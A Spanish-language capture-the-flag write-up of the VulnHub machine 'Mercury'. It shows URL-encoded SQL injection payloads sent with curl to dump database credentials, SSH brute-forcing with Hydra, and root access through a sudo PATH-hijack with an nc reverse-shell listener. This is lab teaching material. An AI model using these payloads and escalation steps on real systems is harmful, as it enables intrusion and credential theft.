En el directo de Twitch que mantuvimos en el canal de InfayerTS el pasado miércoles, me comentaban de hacer la máquina Earth del señor SirFlash, revisando las máquinas subidas por este autor me percaté de la serie llamada The Planets, que se componen de 3 máquinas, la mencionada Earth, Venus y Mercury, es ésta última por la que me he decidido empezar a cubrir esta interesante serie de VulnHub y que por supuesto documentamos para traeros el día de hoy como entrada.
| OS | RELEASE | DIFFICULTY | AUTHOR |
|---|---|---|---|
| LINUX | 04/SEP/20 | EASY | SirFlash |
Resumen:
- Enumeración de puertos y servicios
- Análisis de la aplicación web
- Explotación (manual) de SQLi
- Validación de credenciales y acceso mediante SSH
- Obtención de usuario / Captura del fichero user_flag.txt
- Escalada de privilegios / Captura de fichero root_flag.txt
Enumeración:
Arrancamos con nuestro escaneo de rigor:
nmap -sS -sV 10.10.10.14
Dejaremos por un lado el servicio SSH por ahora, para centrarnos en el análisis del servicio HTTP.
Aplicaciones web:
Al visitar la aplicación web mediante un navegador, observamos el siguiente contenido:
Este mensaje nos resulta cuanto menos curioso. Veremos que obtenemos al fuzzear directorios…
wfuzz -w /usr/share/dirb/wordlists/common.txt -u http://10.10.10.14:8080/FUZZ --hc=404
En esta ocasión el robots.txt de poco o nada nos sirve:
Volveremos a nuestro Wfuzz, esta vez para no excluir del todo los resultados con 404.
wfuzz -w /usr/share/dirb/wordlists/common.txt -u http://10.10.10.14:8080/FUZZ
¿El motivo? A continuación:
Este error 404 arroja una pequeña gran «fuga de información». Observemos el punto 3 de listado. Eso parece ser un directorio, que muy probablemente no esté incluido en nuestras wordlists.
Veamos que nos devuelve al visitarlo:
Bien, las cosas parecen pintar un pelín favorable. Revisemos las secciones (hipervinculos) presentes:
Del segundo enlace lo más rescatable son las menciones a las tecnologías django y mysql:
Mientras que del primer enlace, si bien tenemos un mensaje sin más, quedémonos con la URL mostrada:
Podríamos pensar rápidamente en una suerte de «IDOR», por tanto probaremos suerte cambiando este valor por 2 y 3 respectivamente.
Este último directorio pareciera ser el valor de un parámetro que se pasa al servidor quien devuelve un mensaje distinto dependiendo del número que se inserta.
Si a esta evidencia le sumamos leer antes sobre MySQL, rápidamente deberíamos pensar en validar potenciales inyecciones SQL.
Y efectivamente, al lanzarle una comilla simple logramos desbordar la sentencia SQL de la petición y en este caso nos lo deja evidenciado la respuesta del servidor.
Pues es momento de hacer algunas pruebas adicionales antes de explotar la vulnerabilidad:
Con un mágico OR 1=1 conseguiremos obtener todas las posibilidades de los mensajes listos para presentarse. Yo cuento hasta 8.
Explotación de SQLi:
Una vez realizadas nuestras primeras validaciones y ya confirmada la vulnerabilidad de SQLi (SQL injection), llega el momento de la explotación y aprovechamiento de esta deficiencia.
Primeramente comprobaremos que podemos recuperar la versión de MySQL usando un operador UNION y por tanto ampliando la sentencia SQL.
Sintaxis SQL:
UNION SELECT @@version
Ya que estamos, también consultamos con la base de datos actual:
Sintaxis SQL:
UNION SELECT database()
Para una mayor comodidad y dado que no es necesario mantenernos en el navegador para explotar esta vulnerabilidad, me vuelvo a la consola y desde aquí haré las consultas mediante cURL, ojo que la codificación (URL encode) la tendremos que indicar también nosotros.
Listamos todas las bases de datos disponibles:
Sintaxis SQL:
UNION SELECT schema_name FROM information_schema.schemata
curl -s "http://10.10.10.14:8080/mercuryfacts/1%20UNION%20SELECT%20schema_name%20FROM%20information_schema.schemata/"
Listamos tablas de la base de datos «mercury«:
Sintaxis SQL:
UNION SELECT table_name FROM information_schema.tables WHERE table_schema='mercury'
curl -s "http://10.10.10.14:8080/mercuryfacts/1%20UNION%20SELECT%20table_name%20FROM%20information_schema.tables%20WHERE%20table_schema='mercury'/"
Listamos columnas de la tabla «users«:
Sintaxis SQL:
UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'
curl -s "http://10.10.10.14:8080/mercuryfacts/1%20UNION%20SELECT%20column_name%20FROM%20information_schema.columns%20WHERE%20table_name='users'/"
Finalmente nos volcamos todos los registros de la tabla «users«, para ello empleamos la función CONCAT():
Sintaxis SQL:
UNION SELECT CONCAT(id,':',username,':',password) FROM users
curl -s "http://10.10.10.14:8080/mercuryfacts/1%20UNION%20SELECT%20CONCAT(id,':',username,':',password)%20FROM%20users/"
Validación de credenciales:
El conjunto de credenciales identificadas a través de la explotación de la vulnerabilidad de SQLi, la emplearemos para validar si alguna de estas credenciales nos permite el acceso al host mediante SSH. Pondremos en marcha Hydra:
hydra -L Users.txt -P Passwords.txt 10.10.10.14 ssh
Obtención de usuario:
Nos conectamos por SSH y validamos nuestro rol:
ssh webmaster@10.10.10.14
En el directorio de este usuario identificamos la primera flag:
Escalada de privilegios:
Para la escalada de privilegios haremos un reconocimiento exhaustivo por el directorio del usuario webmaster, que es con el que estamos. En concreto el directorio llamado «mercury_proj» nos debería llamar mucho la atención.
El fichero notes.txt suena apetecible:
Estos hashes parecen ser base64, por tanto vamos decodificarlos:
La primera contraseña ya la tenemos ubicada, sin embargo la segunda no, vamos a emplearla:
El directorio de este usuario (linuxmaster) parece estar vacío, por tanto revisaremos otras vías para la escalada de privilegios.
Revisando potenciales binarios o ejecutables que puedan ser ejecutado con privilegios, observamos lo siguiente:
sudo -l
Hay 2 cosas que se destacan en esta última captura:
- El script check_syslog.sh, pertenece al root y cuyo contenido es:
Observemos que el comando tail no se ejecuta mediante ruta absoluta, por tanto podremos emplear la técnica de «Using PATH Variable«, que nos permitirá «falsificar» un comando del sistema y ejecutarlo antes que el comando legítimo.
- Otra observación de la captura del sudo -l es que se encuentra configurado el atributo SETENV, este atributo permite que los usuarios puedan mantener sus variables de entorno a la hora de ejecutar el binario o ejecutable en cuestión (en este caso check_syslog.sh) mediante sudo. Por tanto una vez más debemos pensar en esa expresión muy popular: «blanco y en botella = leche«.
Para poner en marcha toda esta técnica, lo primero es generarnos un script que se haga pasar por el comando tail del sistema. En este caso aprovecharemos para lanzar una reverse shell:
Ahora le asignaremos permiso de ejecución al tail falso y actualizaremos la variable PATH del usuario linuxmaster:
chmod +x tail
export PATH=/home/linuxmaster:$PATH
Con esto ya preparado, es hora de ejecutar nuestra técnica que nos permita escalar privilegios (nótese que el operador –preserve-env= nos permite definir la variable que queramos conservar, en este caso PATH):
nc -lvnp 443
sudo --preserve-env=PATH /usr/bin/check_syslog.sh
Podríamos aprovechar para hacer un tratamiento adecuado de la TTY:
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=screen-256color
[Ctrl + z]
echo $TERM
stty raw -echo
fg
[INTRO]
Llegado a este punto, ya tan solo nos queda hacernos con la flag del root.
Otra más que entretenida máquina que nos hemos topado en VulnHub, desde luego continuaremos con la serie The Planets próximamente…